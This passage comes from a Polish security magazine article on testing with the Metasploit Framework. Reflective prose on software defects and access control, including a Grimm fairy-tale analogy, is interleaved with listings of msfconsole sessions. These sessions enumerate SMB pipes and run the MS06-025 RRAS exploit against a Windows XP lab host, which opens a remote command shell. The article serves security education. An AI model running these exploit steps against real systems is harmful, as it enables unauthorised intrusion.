• projekt opar ty na Open Source, posiada dedykowane wsparcie dla tej społeczności deweloperów,

• wsparcie dla zaawansowanych funkcji i narzędzi, takich jak InlineEgg, UploadExec i chainable proxy.

Oprogramowanie czasami działa nieprawidłowo ze względu na zawarte w nim błędy. Niektórzy twierdzą, iż awarie są czymś regularnym, ponieważ tworzenie oprogramowania jest pracą całkowicie logiczną, nie istnieją w niej żadne wewnętrzne nieokreśloności. Jeżeli więc dostatecznie dobrze znamy dane wejściowe, zachowanie się programu powinno być całkowicie zdeterminowane.

Produkty takie jak plat forma Metasploit mogą posłużyć do testowania ataków. Wykorzystywane są głównie przez administratorów czy oficerów bezpieczeństwa, którzy chcą sprawdzić poziom bezpieczeństwa swoich systemów lub aplikacji. Oczywiście tak samo często z tego zestawu korzystają audytorzy systemów informatycznych oraz hakerzy, którzy przy pomocy takich właśnie narzędzi w dużej mierze zdobywają wiedzę i testują podatności analizowanych systemów na pewne działania.

*Opcode – czyli kod operacji, jest to liczba, będąca fragmentem rozkazu przekazywanego do wykonania do procesora, która informuje, jaka operacja ma zostać wykonania (źródło: Wikipedia).

Strzeżcie się wilka! – rzekła mama koza. – Jeśli się tu wedrze, to zje was w całości wraz ze skórą i kopytkami. Umie on dobrze udawać, ale poznacie go od razu po grubym głosie i czarnych łapach . (z bajki braci Grimm O wilku i siedmiu koźlątkach )

Pełna najlepszych chęci koza próbowała chronić swoje dzieci, posługując się strategią kontroli dostępu: nie wpuszczaj do domu nikogo, kto nie ma miłego głosu i białych łap. Metoda ta jest dość skuteczna, gdyż bazuje na weryfikacji fizycznych cech uprawnionych użytkowników. W bajce tragicznym niedopatrzeniem była zbyt mała liczba

Listing 9. Sprawdzamy, czy ROUTER jest narażony na zdalny atak

msf exploit(ms06_025_rras) > show auxiliary

Name Description

---- -----------

admin/backupexec/dump Veritas Backup Exec Windows Remote

File Access

admin/backupexec/registry Veritas Backup Exec Server Registry

Access

dos/freebsd/nfsd/nfsd_mount FreeBSD Remote NFS RPC Request Denial

of Service

dos/solaris/lpd/cascade_delete Solaris LPD Arbitrary File Delete

dos/windows/nat/nat_helper Microsoft Windows NAT Helper Denial

of Service

dos/windows/smb/ms05_047_pnp Microsoft Plug and Play Service

Registry Overflow

dos/windows/smb/ms06_035_mailslot Microsoft SRV.SYS Mailslot Write

Corruption

dos/windows/smb/ms06_063_trans Microsoft SRV.SYS Pipe Transaction No

Null

dos/windows/smb/rras_vls_null_deref Microsoft RRAS

InterfaceAdjustVLSPointers NULL Dereference

dos/wireless/daringphucball Apple Airport 802.11 Probe Response

Kernel Memory Corruption

dos/wireless/fakeap Wireless Fake Access Point Beacon

Flood

dos/wireless/fuzz_beacon Wireless Beacon Frame Fuzzer

dos/wireless/fuzz_proberesp Wireless Probe Response Frame Fuzzer

dos/wireless/netgear_ma521_rates NetGear MA521 Wireless Driver Long

Rates Overflow

dos/wireless/netgear_wg311pci NetGear WG311v1 Wireless Driver Long

SSID Overflow

dos/wireless/probe_resp_null_ssid Multiple Wireless Vendor NULL SSID

Probe Response

dos/wireless/wifun Wireless Test Module

recon_passive Simple Recon Module Tester

scanner/discovery/sweep_udp UDP Service Sweeper

scanner/mssql/mssql_login MSSQL Login Utility

scanner/mssql/mssql_ping MSSQL Ping Utility

scanner/scanner_batch Simple Recon Module Tester

scanner/scanner_host Simple Recon Module Tester

scanner/scanner_range Simple Recon Module Tester

scanner/smb/pipe_auditor SMB Session Pipe Auditor

scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor

scanner/smb/version SMB Version Detection

test Simple Auxiliary Module Tester

test_pcap Simple Network Capture Tester

voip/sip_invite_spoof SIP Invite Spoof

Listing 10. Sprawdzamy potoki w systemie Windows XP

msf exploit(ms06_025_rras) > use scanner/smb/pipe_auditor

msf auxiliary(pipe_auditor) > show options

Module options:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS yes The target address range or CIDR

identifier

msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.20

RHOSTS => 192.168.1.20

msf auxiliary(pipe_auditor) > exploit

[*] Pipes: \netlogon, \lsarpc, \samr, \epmapper, \srvsvc, \wkssvc

[*] Auxiliary module execution completed

ATAK

28 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

29 HAKIN9 4/2009

podanych cech. Łatwo jest odróżnić kozę od wilka, jeśli widzi się całą postać, ale koźlętom kazano sprawdzić tylko kolor łap i głos.

Komputery przekazują dużo cennych informacji, które są niezmiernie łakomym kąskiem dla przestępców. Jednak ludzie pragnący zabezpieczyć swoje dane wydają się jeszcze bardziej naiwni od koźlątek, gdy starają się odróżniać uczciwego od oszusta tylko na podstawie ciągów symboli dostarczanych do systemów informatycznych.

Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem. Pomimo rygorystycznego i systematycznego testowania większość dużych programów zawiera nieusunięte defekty od chwili, w której zaczynamy je testować. Tak jak było to już wspomniane, przyczyną tego zjawiska jest złożoność kodów źródłowych. W dodatku, poza mimowolnie wprowadzonymi do programu błędami, zawierają one różnego rodzaju uproszczenia będące skutkiem kompromisu, które mogą wywołać niemożliwe do akceptacji zachowanie się systemu czy aplikacji.

Problem oszacowania bezpieczeństwa jest bardzo poważny. By mieć zaufanie do wyników, musimy wypróbować program w sytuacjach, które mogą zaistnieć w rzeczywistości.

Konstruując odpowiednie środowisko testowe (np. MSF), musimy być pewni, że przewidzieliśmy wszelkie sytuacje, które napotka program. Należy więc zawsze zachować sceptycyzm przy ocenie

wiarygodności testu i – w konsekwencji – dokładności jego rezultatów.

Jeżeli ktoś przekonuje nas o wyjątkowej niezawodności i bezpieczeństwie pojedynczego programu, możemy mu zarzucić po prostu brak dostatecznej wiedzy. W przypadku złożonych programów przykrą prawdą jest fakt ograniczonego zaufania, na które można sobie w stosunku do nich pozwolić. Sama obserwacja programu nie daje gwarancji jego poprawnego zachowania się w przyszłości.

Uwzględniając złożoność obecnego oprogramowania, pozostaje nam podchodzić do niego z dużą dawką sceptycyzmu.

Grzegorz GałęzowskiAutor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat. Hobby informatyczne to systemy IBM z/OS, OS/400, AIX i SAP R/3.Kontakt z autorem: [email protected]

Listing 11. Sprawdzamy exploit na potoku SRVSVC

msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras

msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC

SMBPIPE => SRVSVC

msf exploit(ms06_025_rras) > exploit

[*] Started bind handler

[*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_

np:192.168.1.20[\SRVSVC] ...

[*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_

np:192.168.1.20[\SRVSVC] ...

[*] Getting OS...

[*] Calling the vulnerable function on Windows XP...

[*] Command shell session 1 opened (192.168.1.13:2347 -> 192.168.1.20:4444)

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Windows\system32>